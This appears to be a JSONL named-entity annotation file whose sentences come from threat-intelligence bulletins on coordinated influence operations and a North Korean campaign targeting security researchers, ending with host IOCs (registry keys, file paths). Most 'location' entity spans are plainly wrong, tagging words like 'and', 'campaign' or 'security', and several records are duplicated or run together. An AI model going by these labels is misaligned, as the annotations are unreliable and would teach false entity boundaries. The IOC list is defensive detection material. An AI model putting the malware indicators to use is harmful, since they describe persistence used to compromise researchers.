-{"id":12189,"text":"Increasing our detection of 0-day exploits is a good thing — it allows us to get those vulnerabilities fixed and protect users, and gives us a fuller picture of the exploitation that is actually happening so we can make more informed decisions on how to prevent and fight it.","entities":[{"id":37709,"label":"location","start_offset":48,"end_offset":52},{"id":37710,"label":"location","start_offset":109,"end_offset":112},{"id":37711,"label":"location","start_offset":128,"end_offset":131},{"id":37712,"label":"location","start_offset":211,"end_offset":214},{"id":37713,"label":"location","start_offset":262,"end_offset":265}],"relations":[],"Comments":[]}
-{"id":12190,"text":"We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by the Apple, Google, and Microsoft teams.","entities":[{"id":37714,"label":"location","start_offset":45,"end_offset":50},{"id":37715,"label":"location","start_offset":60,"end_offset":63},{"id":37718,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
 {"id":12191,"text":" This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":12192,"text":"It was last updated on July 29, 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":12193,"text":"JuneWe terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
-{"id":12194,"text":"This campaign uploaded content in Azerbaijani and Armenian that was critical of Armenia and supportive of the Azerbaijani military.","entities":[{"id":37725,"label":"location","start_offset":5,"end_offset":13},{"id":37726,"label":"location","start_offset":23,"end_offset":30},{"id":37728,"label":"location","start_offset":46,"end_offset":49},{"id":37731,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":12195,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":37733,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":12196,"text":"We terminated 17 YouTube channels and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Ukraine.","entities":[{"id":37737,"label":"location","start_offset":34,"end_offset":37},{"id":37739,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":12197,"text":"This campaign uploaded content in Ukrainian that amplified several media platforms posing as news outlets and promoting a select number of local politicians.","entities":[{"id":37742,"label":"location","start_offset":5,"end_offset":13},{"id":37743,"label":"location","start_offset":23,"end_offset":30},{"id":37745,"label":"location","start_offset":67,"end_offset":72},{"id":37746,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":12198,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":37747,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":12199,"text":"We terminated 3 YouTube channels, 1 Play developer, and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Russia.","entities":[{"id":37752,"label":"location","start_offset":52,"end_offset":55},{"id":37755,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":12200,"text":"This campaign uploaded content in English, Russian, German, Italian, French, and Spanish that was supportive of Russia’s positions on the military conflicts in Ukraine, the Middle East, and Central Asia.","entities":[{"id":37758,"label":"location","start_offset":5,"end_offset":13},{"id":37759,"label":"location","start_offset":23,"end_offset":30},{"id":37765,"label":"location","start_offset":77,"end_offset":80},{"id":37770,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
 {"id":12201,"text":"We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.","entities":[],"relations":[],"Comments":[]}
-{"id":12202,"text":"This campaign uploaded content in Amahric that was supportive of Prime Minister Abiy Ahmed and was critical of his opposition.","entities":[{"id":37775,"label":"location","start_offset":5,"end_offset":13},{"id":37776,"label":"location","start_offset":23,"end_offset":30},{"id":37779,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":12203,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":37780,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":12204,"text":"We terminated 36 YouTube channels, 1 ads account and 1 blog as part of our investigation into coordinated influence operations linked to Pakistan.","entities":[{"id":37785,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":12205,"text":"This campaign uploaded content in English and Urdu that was critical of India’s government in its treatment of Muslims, particularly in the region of Kashmir.","entities":[{"id":37788,"label":"location","start_offset":5,"end_offset":13},{"id":37789,"label":"location","start_offset":23,"end_offset":30},{"id":37791,"label":"location","start_offset":42,"end_offset":45},{"id":37795,"label":"location","start_offset":140,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":12206,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":37797,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":12207,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":12208,"text":"We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":12209,"text":"This campaign uploaded content in Russian that was critical of the protests supporting Alexei Navalny.","entities":[{"id":37803,"label":"location","start_offset":5,"end_offset":13},{"id":37804,"label":"location","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":12210,"text":"We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":12211,"text":"This campaign uploaded content in Mandarin Chinese that was positive in sentiment about life in Xinjiang, China and was critical of Western allegations of abuses.","entities":[{"id":37810,"label":"location","start_offset":5,"end_offset":13},{"id":37811,"label":"location","start_offset":23,"end_offset":30},{"id":37815,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
 {"id":12212,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":12213,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Moldova.","entities":[],"relations":[],"Comments":[]}
-{"id":12214,"text":"This campaign uploaded content in Russian that contained a variety of sensational political narratives, including one about an imminent threat to Russia from Ukraine and the U.S.We terminated 989 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[{"id":37821,"label":"location","start_offset":5,"end_offset":13},{"id":37822,"label":"location","start_offset":23,"end_offset":30},{"id":37827,"label":"location","start_offset":166,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":12215,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.","entities":[{"id":37831,"label":"location","start_offset":38,"end_offset":45},{"id":37833,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":12216,"text":"A very small subset uploaded content in Chinese and English about China’s COVID-19 vaccine efforts and social issues in the U.S.","entities":[{"id":37834,"label":"location","start_offset":7,"end_offset":12},{"id":37835,"label":"location","start_offset":29,"end_offset":36},{"id":37837,"label":"location","start_offset":48,"end_offset":51},{"id":37840,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":12217,"text":"These findings are consistent with our previous reports.","entities":[{"id":37842,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":12218,"text":"We received leads from FireEye and Graphika that supported us in this investigation.","entities":[{"id":37844,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":12219,"text":"We terminated 33 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
-{"id":12220,"text":"This campaign uploaded content in Azerbaijani and Armenian that was critical of Armenia and supportive of the Azerbaijani military.","entities":[{"id":37849,"label":"location","start_offset":5,"end_offset":13},{"id":37850,"label":"location","start_offset":23,"end_offset":30},{"id":37852,"label":"location","start_offset":46,"end_offset":49},{"id":37855,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":12221,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":37857,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":12222,"text":"We terminated 17 YouTube channels and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Ukraine.","entities":[{"id":37861,"label":"location","start_offset":34,"end_offset":37},{"id":37864,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":12223,"text":"This campaign uploaded content in Ukrainian that amplified several media platforms posing as news outlets and promoting a select number of local politicians.","entities":[{"id":37867,"label":"location","start_offset":5,"end_offset":13},{"id":37868,"label":"location","start_offset":23,"end_offset":30},{"id":37870,"label":"location","start_offset":67,"end_offset":72},{"id":37871,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":12224,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":37872,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":12225,"text":"We terminated 3 YouTube channels, 1 Play developer, and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Russia.","entities":[{"id":37877,"label":"location","start_offset":52,"end_offset":55},{"id":37880,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":12226,"text":"This campaign uploaded content in English, Russian, German, Italian, French, and Spanish that was supportive of Russia’s positions on the military conflicts in Ukraine, the Middle East, and Central Asia.","entities":[{"id":37883,"label":"location","start_offset":5,"end_offset":13},{"id":37884,"label":"location","start_offset":23,"end_offset":30},{"id":37890,"label":"location","start_offset":77,"end_offset":80},{"id":37895,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
 {"id":12227,"text":"We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.","entities":[],"relations":[],"Comments":[]}
-{"id":12228,"text":"This campaign uploaded content in Amahric that was supportive of Prime Minister Abiy Ahmed and was critical of his opposition.","entities":[{"id":37900,"label":"location","start_offset":5,"end_offset":13},{"id":37901,"label":"location","start_offset":23,"end_offset":30},{"id":37904,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":12229,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":37905,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":12230,"text":"We terminated 36 YouTube channels, 1 ads account and 1 blog as part of our investigation into coordinated influence operations linked to Pakistan.","entities":[{"id":37910,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":12231,"text":"This campaign uploaded content in English and Urdu that was critical of India’s government in its treatment of Muslims, particularly in the region of Kashmir.","entities":[{"id":37913,"label":"location","start_offset":5,"end_offset":13},{"id":37914,"label":"location","start_offset":23,"end_offset":30},{"id":37916,"label":"location","start_offset":42,"end_offset":45},{"id":37920,"label":"location","start_offset":140,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":12232,"text":"Our findings are similar to findings reported by Facebook.","entities":[{"id":37922,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":12233,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":12234,"text":"We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":12235,"text":"This campaign uploaded content in Russian that was critical of the protests supporting Alexei Navalny.","entities":[{"id":37928,"label":"location","start_offset":5,"end_offset":13},{"id":37929,"label":"location","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":12236,"text":"We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":12237,"text":"This campaign uploaded content in Mandarin Chinese that was positive in sentiment about life in Xinjiang, China and was critical of Western allegations of abuses.","entities":[{"id":37935,"label":"location","start_offset":5,"end_offset":13},{"id":37936,"label":"location","start_offset":23,"end_offset":30},{"id":37941,"label":"location","start_offset":112,"end_offset":115},{"id":37942,"label":"location","start_offset":132,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":12238,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":12239,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Moldova.","entities":[],"relations":[],"Comments":[]}
-{"id":12240,"text":"This campaign uploaded content in Russian that contained a variety of sensational political narratives, including one about an imminent threat to Russia from Ukraine and the U.S.We terminated 989 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[{"id":37946,"label":"location","start_offset":5,"end_offset":13},{"id":37947,"label":"location","start_offset":23,"end_offset":30},{"id":37952,"label":"location","start_offset":166,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":12241,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.","entities":[{"id":37956,"label":"location","start_offset":38,"end_offset":45},{"id":37958,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":12242,"text":"A very small subset uploaded content in Chinese and English about China’s COVID-19 vaccine efforts and social issues in the U.S. These findings are consistent with our previous reports.","entities":[{"id":37959,"label":"location","start_offset":7,"end_offset":12},{"id":37960,"label":"location","start_offset":29,"end_offset":36},{"id":37962,"label":"location","start_offset":48,"end_offset":51},{"id":37965,"label":"location","start_offset":99,"end_offset":102},{"id":37967,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":12243,"text":"We received leads from FireEye and Graphika that supported us in this investigation.","entities":[{"id":37969,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":12244,"text":"In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.","entities":[{"id":37973,"label":"location","start_offset":59,"end_offset":67},{"id":37975,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":12245,"text":"On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”","entities":[{"id":37977,"label":"location","start_offset":19,"end_offset":23},{"id":37978,"label":"location","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":12246,"text":"The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.","entities":[{"id":37980,"label":"location","start_offset":51,"end_offset":59},{"id":37982,"label":"location","start_offset":117,"end_offset":125},{"id":37983,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":12247,"text":"Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.","entities":[{"id":37984,"label":"location","start_offset":93,"end_offset":99},{"id":37985,"label":"location","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":12248,"text":"In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.","entities":[{"id":37987,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":12249,"text":" The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.","entities":[{"id":37988,"label":"location","start_offset":39,"end_offset":44},{"id":37989,"label":"location","start_offset":93,"end_offset":101},{"id":37990,"label":"location","start_offset":141,"end_offset":144},{"id":37991,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":12250,"text":"On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.","entities":[{"id":37994,"label":"location","start_offset":79,"end_offset":82},{"id":37995,"label":"location","start_offset":83,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":12251,"text":"We have reported all identified social media profiles to the platforms to allow them to take appropriate action.","entities":[{"id":37996,"label":"location","start_offset":39,"end_offset":44},{"id":37997,"label":"location","start_offset":80,"end_offset":84},{"id":37998,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":12252,"text":"At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.","entities":[{"id":37999,"label":"location","start_offset":8,"end_offset":12},{"id":38000,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":12253,"text":"Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.","entities":[{"id":38002,"label":"location","start_offset":27,"end_offset":31},{"id":38003,"label":"location","start_offset":33,"end_offset":41},{"id":38004,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":12254,"text":"Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.","entities":[{"id":38005,"label":"location","start_offset":66,"end_offset":69},{"id":38006,"label":"location","start_offset":81,"end_offset":84},{"id":38007,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":12255,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.","entities":[],"relations":[],"Comments":[]}
-{"id":12256,"text":"Fake Security Company Website:     LinkedIn Profiles:    Email:    Attacker Owned Domains:        Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.","entities":[{"id":38008,"label":"location","start_offset":5,"end_offset":13},{"id":38011,"label":"location","start_offset":180,"end_offset":188},{"id":38012,"label":"location","start_offset":199,"end_offset":207},{"id":38013,"label":"location","start_offset":254,"end_offset":257},{"id":38014,"label":"location","start_offset":293,"end_offset":296}],"relations":[],"Comments":[]}
-{"id":12257,"text":"The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.","entities":[{"id":38015,"label":"location","start_offset":23,"end_offset":31},{"id":38017,"label":"location","start_offset":130,"end_offset":135},{"id":38018,"label":"location","start_offset":139,"end_offset":145},{"id":38019,"label":"location","start_offset":167,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":12258,"text":"We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.","entities":[{"id":38020,"label":"location","start_offset":3,"end_offset":7},{"id":38021,"label":"location","start_offset":13,"end_offset":17},{"id":38022,"label":"location","start_offset":18,"end_offset":22},{"id":38023,"label":"location","start_offset":43,"end_offset":51},{"id":38024,"label":"location","start_offset":61,"end_offset":70},{"id":38025,"label":"location","start_offset":81,"end_offset":84},{"id":38026,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":12259,"text":"In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.","entities":[{"id":38027,"label":"location","start_offset":30,"end_offset":33},{"id":38028,"label":"location","start_offset":47,"end_offset":55},{"id":38029,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":12260,"text":"They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.","entities":[{"id":38030,"label":"location","start_offset":110,"end_offset":113},{"id":38031,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":12261,"text":"Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.","entities":[{"id":38032,"label":"threat-actor","start_offset":26,"end_offset":29},{"id":38033,"label":"location","start_offset":30,"end_offset":33},{"id":38034,"label":"location","start_offset":147,"end_offset":155},{"id":38035,"label":"location","start_offset":169,"end_offset":175},{"id":38036,"label":"location","start_offset":233,"end_offset":241}],"relations":[],"Comments":[]}
-{"id":12262,"text":"While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.","entities":[{"id":38037,"label":"location","start_offset":9,"end_offset":12},{"id":38039,"label":"location","start_offset":141,"end_offset":145},{"id":38040,"label":"location","start_offset":173,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":12263,"text":"On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.","entities":[{"id":38043,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":12264,"text":"In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.","entities":[{"id":38045,"label":"malware","start_offset":80,"end_offset":87},{"id":38046,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":12265,"text":"Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.","entities":[{"id":38048,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":12266,"text":"After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”","entities":[{"id":38049,"label":"location","start_offset":26,"end_offset":30},{"id":38051,"label":"location","start_offset":117,"end_offset":121},{"id":38052,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":12267,"text":"The actors have been observed targeting specific security researchers by a novel social engineering method.","entities":[{"id":38053,"label":"location","start_offset":49,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":12268,"text":"After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.","entities":[{"id":38054,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
 {"id":12269,"text":"Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.","entities":[{"id":38057,"label":"attack-pattern","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
 {"id":12270,"text":"The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.","entities":[],"relations":[],"Comments":[]}
-{"id":12271,"text":"An example of the VS Build Event can be seen in the image below.","entities":[{"id":38059,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":12272,"text":"In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.","entities":[],"relations":[],"Comments":[]}
-{"id":12273,"text":"In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.","entities":[{"id":38060,"label":"location","start_offset":115,"end_offset":118},{"id":38061,"label":"location","start_offset":200,"end_offset":203},{"id":38062,"label":"location","start_offset":274,"end_offset":277}],"relations":[],"Comments":[]}
-{"id":12274,"text":"At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.","entities":[{"id":38063,"label":"location","start_offset":7,"end_offset":11},{"id":38064,"label":"location","start_offset":75,"end_offset":78},{"id":38065,"label":"location","start_offset":85,"end_offset":89},{"id":38066,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":12275,"text":"At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.","entities":[{"id":38067,"label":"location","start_offset":8,"end_offset":12},{"id":38068,"label":"location","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":12276,"text":"Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.","entities":[{"id":38070,"label":"location","start_offset":75,"end_offset":78},{"id":38071,"label":"location","start_offset":92,"end_offset":98},{"id":38072,"label":"location","start_offset":135,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":12277,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.","entities":[],"relations":[],"Comments":[]}
-{"id":12278,"text":"These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and email.","entities":[{"id":38079,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":12279,"text":"We are providing a list of known accounts and aliases below.","entities":[{"id":38080,"label":"location","start_offset":3,"end_offset":6},{"id":38081,"label":"location","start_offset":19,"end_offset":23},{"id":38082,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
 {"id":12280,"text":"If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.","entities":[],"relations":[],"Comments":[]}
-{"id":12281,"text":"To date, we have only seen these actors targeting Windows systems as a part of this campaign.","entities":[{"id":38083,"label":"location","start_offset":3,"end_offset":7},{"id":38084,"label":"location","start_offset":17,"end_offset":21},{"id":38085,"label":"location","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":12282,"text":"If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.","entities":[{"id":38086,"label":"location","start_offset":7,"end_offset":10},{"id":38087,"label":"location","start_offset":30,"end_offset":33},{"id":38088,"label":"location","start_offset":224,"end_offset":233},{"id":38090,"label":"location","start_offset":270,"end_offset":273},{"id":38091,"label":"location","start_offset":283,"end_offset":291}],"relations":[],"Comments":[]}
 {"id":12283,"text":"Host IOCs Registry Keys HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\KernelConfig HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\DriverConfig HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\SSL Update File Paths C:\\Windows\\System32\\Nwsapagent.sys C:\\Windows\\System32\\helpsvc.sys C:\\ProgramData\\USOShared\\uso.bin C:\\ProgramData\\VMware\\vmnat-update.bin C:\\ProgramData\\VirtualBox\\update.bin","entities":[{"id":38092,"label":"location","start_offset":0,"end_offset":4},{"id":38093,"label":"REGISTRYKEY","start_offset":24,"end_offset":83},{"id":38094,"label":"REGISTRYKEY","start_offset":84,"end_offset":143},{"id":38095,"label":"REGISTRYKEY","start_offset":144,"end_offset":198}],"relations":[],"Comments":[]}
 {"id":12284,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":12285,"text":"It was last updated on January 26, 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":12286,"text":"We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":12287,"text":"This campaign uploaded content in Russian supporting the Russian military and criticizing U.S. military involvement in Japan.","entities":[{"id":38100,"label":"location","start_offset":5,"end_offset":13},{"id":38101,"label":"location","start_offset":23,"end_offset":30},{"id":38104,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":12288,"text":"We received leads from Facebook that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":12289,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
-{"id":12290,"text":"This domestic campaign posted content focused on elections and supporting the Union Solidarity and Development Party, (USDP).","entities":[{"id":38110,"label":"location","start_offset":5,"end_offset":13},{"id":38111,"label":"location","start_offset":14,"end_offset":22},{"id":38112,"label":"location","start_offset":30,"end_offset":37},{"id":38113,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":12291,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38116,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12292,"text":"We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
-{"id":12293,"text":"This domestic campaign was linked to the New Azerbaijan Party and posted content supporting the Azerbaijani government and promoting Azerbaijani nationalism.","entities":[{"id":38120,"label":"location","start_offset":5,"end_offset":13},{"id":38121,"label":"location","start_offset":14,"end_offset":22},{"id":38123,"label":"location","start_offset":62,"end_offset":65},{"id":38124,"label":"location","start_offset":73,"end_offset":80},{"id":38126,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":12294,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38128,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":12295,"text":"We terminated 26 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":38131,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":12296,"text":"This campaign uploaded content primarily in Russian and included news clips and military videos supporting the Russian government.","entities":[{"id":38134,"label":"location","start_offset":5,"end_offset":13},{"id":38135,"label":"location","start_offset":23,"end_offset":30},{"id":38137,"label":"location","start_offset":52,"end_offset":55},{"id":38138,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":12297,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":12298,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":38141,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":12299,"text":"We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":12300,"text":"This campaign uploaded content in Farsi and Arabic that was critical of the Saudi government.","entities":[{"id":38145,"label":"location","start_offset":5,"end_offset":13},{"id":38146,"label":"location","start_offset":23,"end_offset":30},{"id":38148,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":12301,"text":"We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":12302,"text":"This campaign uploaded content in Ukrainian about current events in Ukraine and critical of President Zelensky and former Ukrainian President Petro Poroshenko.","entities":[{"id":38153,"label":"location","start_offset":5,"end_offset":13},{"id":38154,"label":"location","start_offset":23,"end_offset":30},{"id":38157,"label":"location","start_offset":76,"end_offset":79},{"id":38159,"label":"location","start_offset":111,"end_offset":114}],"relations":[],"Comments":[]}
 {"id":12303,"text":"We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.","entities":[],"relations":[],"Comments":[]}
